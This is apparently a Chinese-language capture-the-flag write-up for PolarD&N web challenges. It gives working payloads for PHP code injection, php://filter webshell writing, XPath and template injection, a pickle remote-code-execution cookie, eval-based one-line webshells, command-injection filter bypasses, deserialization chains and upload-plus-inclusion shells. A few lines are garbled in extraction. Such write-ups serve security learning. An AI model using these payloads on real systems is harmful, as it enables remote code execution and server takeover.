PolarD&N 中等难度
到底给不给flag呢
进题后看到如下代码
可知该题主要考察的是$$变量覆盖,foreach()函数配合$$可以使得传入的参数的参数名会成为新的变量名,参数的值会变成该变量的值。
对代码进行审计,首先第一部分,我们需要用get或post方式传递flag的值即可避免输出qwq的值
接下来第二部分,要使flag=flag这个条件不满足,否则会输出QAQ的值为了绕过该处,则需要通过foreach()函数和$$进行变量覆盖,传入flag=a后发现最底部出现回显
因为传入flag=a后,生成了$flag=$a,a的值覆盖了原来flag的值,而a的值又是空的,故echo为空,于是先用a存储flag的值,再使flag=a即可,构造如下payload
?a=flag&flag=a
得到flag
写shell
进题可见如下代码
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);
?>
根据代码可知该题主要需要绕过的exit()语句,有两种方法。
方法一
通过base64解码,将exit()语句转化为乱码,get和post传入的payload分别如下
?filename=php://filter/convert.base64-decode/resource=find.php
content=aPD9waHAgc3lzdGVtKCdscyAvJyk/Pg==
content内容前需要加任意一个字符,因为base64解码是将每4个字节转换成3个字节,而phpexit只有7个字符。传入后得到内容如下
然后再改变content的值,抓取flag
方法二
通过strip_tags去除xml标签代码,即<??> 代码部分,与上一种方法差不多,传入的payload分别如下
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=find.php
content=?>PD9waHAgc3lzdGVtKCdscyAvJyk/Pg==
注入
进题后尝试点击User query,页面跳转后发现url后出现/?id=1,猜测该处为注入点,多次尝试注入之后无果,在wp中得知该处为xpath注入,且该处使用万能访问xml文档所有节点的payload即可,payload如下
id=']|//*|//*['
某函数的复仇
进题后看到代码如下
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>
可以看到传入的shaw变量被作为函数使用,联想到 create_function匿名函数代码注入,最终用bp传入如下
下面对传入的payload进行解释
shaw=create_function
该payload是为了构造匿名函数,第一个preg语句对shaw进行了要求,要求为开头是字母或下划线,结尾不允许换行,该payload符合
?root=;}system('less+/f*');/*
该payload的;}是为了闭合前面的语句/*注释掉了后面的语句,由于第二个preg语句对该payload进行了过滤cat,tac,等无法使用,可以用less,more,head,tail,od等进行替换,该payload中间的+是因为使用的是bp上传,如果没有加号会导致payload后半部分无法读入,故用+连接,如果使用hackbar则不用+号。
xxe
扫盘扫到dom.php,可知这题考察的是xxe漏洞,前往该文件后抓包,写入利用php伪文件构造的payload,上传之后即可得到一串base64字符串
解码后即可得到flag
SSTI
有题目可知该题考察的是ssti注入,先传入name= {{6*6}}确认是否存在注入点
确定name为注入点后使用tplmap进行注入,成功得到flag
unpickle
附件内容如下
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)
分析可知该题将从cookie中读取user的值,再将user进行base64编码和序列化处理,因此只需要写一个反向进行该过程的脚本,输出payload后通过cookie传入即可,最终的payload如下
user=gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9mKicpLnJlYWQoKZSFlFKULg==
找找shell
下载附件查看,是混淆后的php代码,解密后得到的内容如下
<?php @eval($_POST['usam']); ?>
然后用蚁剑直接连接,发现没连上,用dirsearch扫了一下发现了shell.php,在原URL后添加/shell.php再次进行连接,成功连上,拿到flag
再来ping一波啊
经过手动测试发现cat,tac,ls,index,空格等内容都被过滤,于是考虑使用拼接绕过,反斜杠绕过和${IFS}代替空格,最终payload如下
127.0.0.1;a=inde;b=x.php;ca\t$IFS$a$b
BlackMagic
进题后跳转到BlackMagic.php页面,查看源码,发现如下内容
<!--
extract($_REQUEST);
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
if(isset($strTmp))
{
$strContent = trim($strFlag, $strCharList);
if($strTmp == $strContent)
{
echo "flag{xxx...xxx}";
}
else
{
echo "You're awesome, but not enough.";
}
}
else
{
echo "I will never tell you the flag is inside!";
}
-->
根据源码推测该题获得flag的关键是使传入的strTmp和strContent相等,strContent经过trim函数处理,在strFlag的基础上删除了strCharList中含有的符号,直接把以下代码跑一下即可得知经过处理后的strTemp==%09xxxxx…xxxxx%09,然后上传即可得到flag
<?php
$strTmp="payload";
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
$strContent = trim($strFlag, $strCharList);
echo urlencode($strContent);
?>
反序列化
进题得到源码如下
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
先找到eval执行语句,由此可知pid是我们想要执行的语句,为了可以触发eval语句,需要有close()方法,而为了有close()方法就需要有funnnn()方法,而为了有funnnn()方法就需要触发__destruct()魔术方法,该魔术方法在对象销毁时触发,具体poc如下
<?php
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
$a = new example();
$a->handle = new process();
$a->handle->pid ='phpinfo();';
echo serialize($a);
一开始使用的是ls指令,但是发现找不到flag,于是查看环境变量,但是只找到了一个错误的flag,随后看了下wp,发现我的poc与payload并没有问题(应该),但是没有回显出flag,具体原因还不清楚
wu
进题代码如下
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("no!");
}
@eval($a);
?>
可知该题是无字母数字rce,可以取反绕过
<?php
$a = urlencode(~'system');
echo $a;
echo " ";
$b = urlencode(~'ls');
echo $b;
用取反脚本跑一下,得到payload
?a=(~%8C%86%8C%8B%9A%92)((~%93%8C));
传入后成功得到了flag的位置,然后再用脚本跑一遍抓取flag用的payload即可
代码审计1
题目源码如下
<?php
highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx'];
echo new $sys($xsx);
}
看到echo new s y s ( sys( sys(xsx)语句,可以考虑php原生类反序列化利用,由于我们是设法读取flag。故采用SplFileObject类,该类只能读取文件的第一行,如果需要全部读取则需要foreach函数或者php伪协议,由于该题并没有给出foreach函数,因此需要使用php伪协议,最后得到的payload如下
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
回显出现了一串base64字符串,解密后即可得到flag
你的马呢?
进题后在url栏中看到了file=upload.php,于是考虑文件包含,直接上传一个含有一句话木马txt文件,然后在原url后添加?file=uploads/a.php后用蚁剑连接,得到flag
ezphp
用dirsearch扫了一下,发现了如下内容
先查看robots.txt,内容如下
推测该题为文件上传漏洞以及文件包含漏洞的题目,于/uploads页面上传木马,上传的木马将会被存储在/uploads/images,然后用/file进行文件包含。
成功上传一句话木马后进入file页面,得知是通过filename进行文件包含的操作,最后用蚁剑访问如下url并连接即可
靶场url/file/file.php?filename=../uploads/images/a.jpg
随机值
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
又是和反序列化相关的题目,为了使fetflag方法运行,直接赋值Polar1和Night,使其实现相等判断,由于这些变量具有私有属性或保护属性,调用时需要使用伪变量,具体脚本如下
<?php
class Index{
function __construct(){
$this->Polar1 = &$this->Polar2;
$this->Night = &$this->Light;
}
}
$a = new Index();
echo serialize($a);
phpurl
根据附件中的内容,我们可知有一个文件被加密成aW5kZXgucGhwcw用base64解码后得知该文件为index.phps,前往访问后得到如下代码
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}
$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>
由题可知我们需要使经过urldecode处理后的sys与“xxs”弱相等且sys不能等于“xxs“,由于url编码时遇到%时会把后面的内容当做16进制ASCII码进行转换,故我们只需要传入sys=xx%2573即可得到flag(25为%的ascii码,73为s的ascii码)